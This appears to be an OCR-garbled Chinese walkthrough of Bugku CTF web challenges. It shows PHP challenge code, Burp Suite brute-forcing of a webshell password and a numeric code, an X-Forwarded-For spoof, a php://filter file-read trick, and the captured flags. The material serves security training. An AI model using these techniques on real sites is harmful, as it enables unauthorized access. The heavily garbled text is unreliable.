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style
head
w <body id="body" onload="init{)"> [&Ex
¢!--flag KEY{Web-2-bugkssnNNiklso1@@7}--»

script text/javascript js/ThreeCanvas.]js script
script text/javascript js/Snow.js script
P <script text/javascript”»(= </script
B <divel=i</divy
</body>
</html>
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<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" "http://www.w3.org/TR/xhtml1/0TD/xhtml1-transitional .dtd”>

<html xmlns="http:// www.w3.org/1998/xhtml">
P <head> (= </head

<span id="code" class="code" style="background: rgb(48, 147, 24@) none repeat scroll @% &%; color: rgh(111, 45, 228);"»
78+16=2</span> |event

Z£8
<input class="input” type="text"” maxlength="1">
=]
<button id="check">¥&f</button> event
b <div stvle="text-alien:center:"»=</div>

3.web#tfil$ GET
WAMESE (getli ) H Ewhat=flagili 17
HEAEUEEN: ?what=flag

<« C @ © & 123.206.87.240:8002/get/?what=flag

$what=% GET['what'];

echo $what;

if($what=—"flag")
echorﬂag{****}g

flagflag {bugku get su8kej2en}

4 webJEfli$_POST
postANfE LU /G HAZ S, X R 31 7 K 55 2% ifhackbar

csdn BEEE X € (4&EE) w==B CsoNigE x| € BSs-Cs

&« C ® © & 123.206.87.240:8002/post/

$what=$ POST['what'];

echo $what;

if($what="flag")
echo'ﬂag{****}ﬁ

flagflag {bugku get ssseint67se}
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& Load URL http://123.206.87.240:8002/post/
QL Split URL

v Execute

Postdata [ ]| Referer [] User Agent [] Cookies Clear All
what=flag
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$num=$% GET['num'];
if('is_numeric($Snum))

t

echo $num;

if($num==1)

echo 'flag {*¥¥*#xxkxixyr,

}
laflag {bugku-789-ps-ssdf}
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</script:

g Load URL http://123.206.87.240:8002/get/index1.php?num=1a
gg Split URL
v Execute
Postdata [ ] Referer [] User Agent [] Cookies
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alert("flagfiftiXE"); alert{"FIETER"); alert("flagfitiZE"); alert("FEFETEH"); alert("flagfittiZ=E"); alert("FEFETEE");
alert("FlagBTEE"): alert("RUAME"); alert("FlagBiTEE"): alert("RUAME"); alert("FlagBiTEtE"): alert("SRHIME"):
alert("flagfifEiE"); alert("HIMIMIL"); alert("FlaghfitEixE"); alert("RIFHE"); alert("flaghiBiXE"); alert("RIHHL");
alert("flaghfiTEixE"); alert("RIEFEIC"Y; alert("flagffidtixE"); alert("EHFEE"); alert("flagfittizE"); alert("FEFHIEE");
alert(“FlagBTERE"); alert("RUFME"); alert("FlagBIFERE"); alert("RUAME"); alert("FlagBITEItE"); alert("RHIME");
alert("flagffitEiEE "); alert("FHHIL"); alert("flagfiiEiZE"); alert("RHHIE"); alert("flagffitEiE "); alert("IIim0");
alert("flaghiTEixE"); alert("RIEFHIC"Y; alert("flagfitEixE"); alert("FHIEML"); alert("flagfittizE"); alert("FHIEE");
alert("flagffEiRE "); alert("RIEIL"); alert("FlagfiiEiXE"); alert("RIMHIME"); alert("flagffitEiE "); alert("RIHEL");
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“123.206.87.240 flag.baidu.com”
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# entry should be kept on an individual line. The IP address should

# be pla)ced in the first column followed by the corresponding host name.

# The IP address and the host name should be separated by at least one

# space.

#

# Additionally, comments (such as these) may be inserted on individual

# lines or following the machine name denoted by a '#' symbol.

#

# For example:

#

# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost

# 1 localhost

123.206.87.240 flag.baidu.com

B71{1, 97 100% Windows (CRLF) UTF:8

=

— e el e e el

FERRIRATE AN W 2% E vy M “lag.baidu.com”#i /5 2lflag .
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flag In the variable ! <?php

error_reporting (0)
include “flagl.php”:
highlight_file(__file__};
if{isseti3 GET[ args"10) |
$args = $_GET[ arss’ 1;
if(lpreg_match("/ w+3/”, $args)) {
die("arzs error!”);
1

eval (“var_dump($3arss) ;7
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flag In the variable ! <?php

error_reporting (0) :// JCMlphpfy it il s

include “flagl.php”;// 5| Aflagl. php LIF{CHS

highlight_file(_ file_ );

if (isset($_GET[ args’ 1)) {// iiilaet i 6 args™ & A FEd T 1 B 1LY
$args = $_ GET[ args’'];
if(lpreg_match(”/ \w+$/”, $args)) {// XA IEW A0 S L LR TS [A-Za—20-9 1 M7FF, b T&E o h S REMoS|9

LR Rl 26 2H
die("args error!”);
}

eval ("var_dump ($$args) ;7)) :// i YRR ik ARG H L) i

i

RIGEATHA— T php2 R &, KItE ANGLOBALSTH LL15 2 flag

XBERTER:
* $GLOBALS
« $ SERVER
« § REQUEST
« § POST
e $ GET
e $ FILES
« $§ ENV

» $_COOKIE
* $ SESSION

http://120.24.86.145:8004/index1.php?args=GLOBALS
Y7 ) XA B ]
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PRE
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<html>
w <head
meta Content-Type text/html; charset=UTF-8
head
w <body>
<br>
<br»
<br»
<br>
H2meE.
<br>
<br>
</pre>
</body>
</html>

html » body » pre
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[ Dashboard [Target [ ] Intruder ] Repeater [ Sequencer l Decoder ] Comparer ] Extender [ Project options ] User options
o] |
| Send | Target: http://123.206.87.240:9009 f G

Raw | Headers TE] Raw | Headers I Hex I HTML I Render ]

GET /hd_php HTTR/1.1 & HTTR/1.1 200 OK

Host: 123.206.67 .240:9009 r Semer nginx

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n:83.0) Gecko/20100101 Firefox/83.0 Date: Sun, 29 Mov 2020 09:03:32 GMT

Accept: text/html application/xhtml+xml,application/xml g=0.9 imagefwebp **q=0.8 Content-Type: text/html

Accept-Language: zh-CH zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Connection: close

Accept-Encoding: gzip, deflate flag{Bugku_kB_23s_istra}:

Connection: close Content-Length: 139

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
<htrl>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<prez<hre<bre<bre<br>fi-& @i%E . <bre<br>
</html>
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1 http://120. 24. 66. 1458002 /webshell/index. php 200

145:8002/webshell /shell. php
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WebShell

Burp Intruder Repeater Window Help

! Burp Suite Professional w1.7.30 - Temporary Project - licensed to Larry Lau - O *

[Target TF’roxy T Spider T Scanner i Repeater TSequencer TDecoder T Comparer T Extender TF'mJe:t options T User options TAIEHS 1

[0« J11 < ]2 = [13 xm

Target | Positions Options ]

Payload Sets

You can define one or rore payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

Payload set Payload count: 3,424
Payload type: | Simple list Reguest count: 3,424

Start attack

Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste IE#5% -
IEHS%" D
i@me

I %8 »>
Iront

$secured

il

wan T 1

|




A0 |EHM:‘{ I T |

| Addl from list ... |
l - WM pass 4L

Payload Processing

You can define rules to perfarm various processing tasks on each payload hefore it is used

| Add | |Enabled |Rule

Dy




[Add fram list

Short words
az
AT
09

Directories - short

Directories - long

RJE KA FEIH payload

Finished

Intruder attack 5 - O X
Attack ZSave Columns
j Results I Target I Fuositions [ FPayloads I Dptions ]
Filter: Showing all items ?
Request l| Payload | Status | Errar |Timeuut| Length Comment
— — T
10473 habits 200 | | 1125 r
10474 habook 200 0 0 1125
10475 habu 200 | | 1125
10476 habus 200 0 0 1125 )
10477 hacek 200 | | 1125
10473 haceks 200 0 0 1125
10479 hack 200 ] ] 1110
10430 hacked 200 0 0 1125
10431 hackee 200 | | 1125 i L
10482 hacker 200 [ [1 1125 X
j Reguest T Response }
j RawT Params T Headers I Hex ]
POST fwebshell/shell. php HTTR/ .1 i
Host: 120.24.86.145:8002 r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; re61.0) Gecko/20100101 Firefox/61.0
Accept: text/html application/shtml+xml applicationfxml; q=0.9 ** q=0.8
Accept-Language: zh-CM zh;q=0.8 zh-TW;q=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://120.24 86.145:8002/webshell/shell. php
Caontent-Type: application/x-www-form-urlencoded
Content-Length: 9
Connection: close
Upgrade-Insecure-Requests: 1
pass=hack
9
v
? < + = Type a search term 0 matches

fi Nhack, 75 Zlflag
1458 AR5

F12, KI—BJERE, R)hbase64fifil 2 5 Eltest123 (WiZse %)
PR P 5 8B, username & Zadmin

(HRILH T2 H - 7 2 D # Ztest123, HZAXD
Ly L =Hafm ) ITma L2 WA | WE L) TFOGRIEES V) THAS

- . R

1R WIF 3 Fs

T o=ty
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<htmls
b <head> =

= HTML

head

<h1>EEaRG hls

b <form method="POST" autocomplete="off">[= </form>

</body>
</html>
<! --dGVzdDEyMw==-->

BRI 5 S 5 A B 5 A4 AT

EE

Username: |
Password: |

Submit

RRG

Reset

IPZE | Hifn], BEAEAMEEREN, IPEHICSE.

i 7 B 5 — AP

fEburpsuite L[, )5, fEheaders il

X-Forwarded-For: 127.0.0.1
JRHL: IS INIX AN ] BAA IR S5 253K

- EBHERARA

< X @
EERFESR

k5

Password:

Submit

Reset "\

IPEEIB3AE), ERRACERRER, IPEHCR.

K 44 2 Hadmin! 1!

5 123.206.31.85...

O @ Hacksar O 52 D=us OEss (deassss Om Ore

Encryption ~ Encoding~ SQL~ XSS~ Other~
4@ Load URL test123
g{; Split URL
») Execute

5 Zlflag

ARG

® A £ 123.206.31.85:1003

HAT

Chrome BackBar

[J Postdata [] Referrer [] User Agent [] Cookies

VS

__ Upgrade-Insscurs-Requests

m—A

BB P I B A s [ PR IP bk, XA B AT LABR) A8 1 5K

BEAT R, I

‘ Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn - [m] x

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | Intruder RepeaterTSsquencsr Decoder CDmpaver[Extendey[Pmecmmmns[uﬁemmmns Alerts

1« ]2 |3 [as] ..

Go. Cancel <[+ >|v

Request

Raw [ Params | Headers | Hex

Target: http://123.206.31.85:1003 | #|| 7
Response

Raw | Headers | Hex | HTML | Render

FOST / HITP/L.1

Host: 123.206.31.85:1003

User-Agent: Mozilla/5.0 (Windows NT 10.0; Windd; xé4;
rv:eE.0) Gecko/20100101 Firefox/€e.0

Accept:

text/html, application/xhtml+xml, application/xml: q=0.9, *
*iq=0.8

s

Accept-Language:

2h-€N, zh; q=0..8, 5h-TW; q=0.7, sh-HK; q=0.5, en-U8; q=0.3, en; q
=0.2

Referer: hetps//123.206.31.85:1003/

Content-Typs: application/x-www-form-ur lencodsd
Content-Length: 23

Connection: close

¥-Forwarded-For: 127.0.0

pass=tescl23

b
v

term 0 matches

HTTF/1.1 300 OK

Server: ngimx

Date: Sun, 14 Apr 2015 04:45:53 GHT
Content-Type: text/html
Connection: close

Content-Length: 5480

7

O<heml>
<head>

<title>

[alainla'einla']

</ritle>

</head>

<body>

<h1>00000000</ hil>

<form method="FOST” autocomplete="off”>
<prUsername: <input typs="text" name="ussr"
id="user”></p>

<p>Password: <input type="password’ names'pass’
id="pass"»</p>

<p>
<input typs=Usubmit" valus="Submit"/>
<input type=rreset” value="Reset”/>
</p>

</torm>

<font style="color:#FFO000"><h3>The flag is
85££2ee4171396724bae20c0bdE51£6b </ h3><br ></ font >

</body>
</heml> b
v
0 matches

£,617 bytes | 40 millis

IN @D o ® & =

g] -+ X

Contribute me! HackBar v2
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Q 3 HTML + A

<html> ~
P <head:> (= </head:>
w <body>

<div style="display:none;"»</div>

w <form action="index.php" method="post">»
BEFRNBY
<br»
<br»
v cscrip—>
77 5%6d%65%6e

</script>
<input id="flag" tvpe="input" name="flag"»

LT

& PRI IR 5 Zunescape, %2 F EX b HX BURBSEAT Y ORIt 58D, Rl Hunescapefi#fid 2 J& It it 2 J5 153
.

67d709b2b54aa2aa648cf6e87a7114f1

By NB TR A 2 13 Fiflag

16.flagftindex!f
T E fwp:

(fEurD) filefZ{E A :
php:/filter/read=convert.base64-encode/resource=index.php

A I
Go Cancel <|v >|v Target: http://120.24.86.145:8005 D

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
TET /post/index. phpItile=php://Eileee/ B php HTTP/ L1 % HTTP/L.1 200 OK n
Host: 120.24.86.145:6005 P Server: nginx r
Upgrade-Insscurs-Requests: 1 Date: Sunm, 20 Aug 2017 10:32:03 GHT
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Win€4; x&4) AppleWebKit/S37.3€ (KHTML, like Gecko) Chrome/E0.0.3112.50 Content-Type: texc/heml
Safari/537.36 Comnection: close
Accept: text/html,application/xhtml+xml,application/xml;g=0.9, imags/webp, imags/apng, */ *; q=0.6 Content-Length: Sl
Befsrer: htep://120.24.86.145:8005/post/ indsx. php
Accepc-Encoding: gzip, deflate <html>
Aecept-Language: zh-CHN,zh;q=0.8 <title>Bugku-ctf</citle>
Connection: close
€1PkT1Z2 £ 1LRNOZS: 371
1s7V0pe2v) TGhyZWY9Ti. PmllsaWlr [G11PY T OKXOAFVFsnZml
kZmlsZSwilidvIilBEHNOcmlzdHT ICT0cC LeTphnBLdc
KCRmaWx11LCTKYXRN T ikpewIKCQ11Y2hv ICTPacBubyE i 0WOKCO11e610KCK 7D luvax1 1 nezvkd
W /html>

base64fii % T f3 Elflag 1

FIE AT BRI, JellU S R B AEIX, 1218 B AR 0 1
https://blog.csdn.net/wy_97/ar1icle/detaiIs/77431 111

17 N E L & Eflag
H EJEET%TETT%%&E Bt LA 422 _Fburpsuite->instruder

ERAEEE

<« C @ O & 123.206.87_24

8 E
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Hl W Burp Suite Frotessional v£2.1.Ub - lemporary Froject - icensed to surterxyz -

(| Burp Project Intruder Repeater Window Help

[ Dashboard I Target I Proxy I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options

Target | Positions | Payloads I Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

Payload set: |1 |= Payload count: 0

Payload type: | Numbers |= Request count: 0

@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: @® Sequential (L) Random
From: 10000

To: 99999

Step: |1|

How many:

Number format

Base: ® Decimal () Hex
Min integer digits:

Max integer digits:

Min fraction digits:

Max fraction digits:

Examples

11

W B I 2 )G M i start attack
LB KRS 22551513579

r‘._' ntruder attack 1 - —_ O X—I

G Attack Sawve Columns

;J:J Results T Target I Positions I Payloads I Options ]

| Fiter: Showing all tems ‘@
Reguest 4 | Payload | Status | Error | Timeout | Length | Comment
3574 13573 200 O o 13 A
3575 13574 200 O O 1327
3576 13575 200 O O 1327 ¥
3577 13576 200 O O 1327
3578 13577 200 1 1 1327




! 3579 13578 200 O O 1327 h
3580 13579 200 O [] 248

|| 3581 13580 200 O O 1327 |

|| 2522 13581 200 O O 1327 P

ﬂl 3583 13582 200 O O 1327 |

B 3584 13583 200 O O 1327 A

g 3585 13584 200 [l [l 1327 ¥

j| Request | Response

[:_[ RawT Params T Headers T Hex ]

|POST Mhaopoityes HTTP/ i
Ul Host: 123.206.57.240:8002
J4 Content-Length; 9
v Cache-Control. max-age=0
“ Origin: hitp: i1 2320687 .240:8002
-Upgrade-lnsecure-RequestS: 1
1 Content-Type: application/x-www-form-urlencoded
HUser-Agent: Mozilla/2 .0 (Windows NT 10.0, Wing4; x64) AppleWVebKit/37 .36 (KHTML, like Gecko) Chrome/73.0.3683 88 Safari/a37 36
IAccept: textihtml applicationixhtml+xml applicationfoml, g=0.9 image fwebp imagefapng **, g=0 8 application/signed-exchange; v=h3
1 Referer: hitp:/M123.206.87 .240:8002/bacpoltyes
Accept-Encoding: gzip, deflate
| Accept-Language: zh-CH zh;g=09
ﬁ Crannsctinn claes .1

| @ N1 Type a search term 0 matches
3 165450190000 ] Hup s oI008 Co0R NeANELAN, S0dU 4.0 !
—

A2 513 %flag
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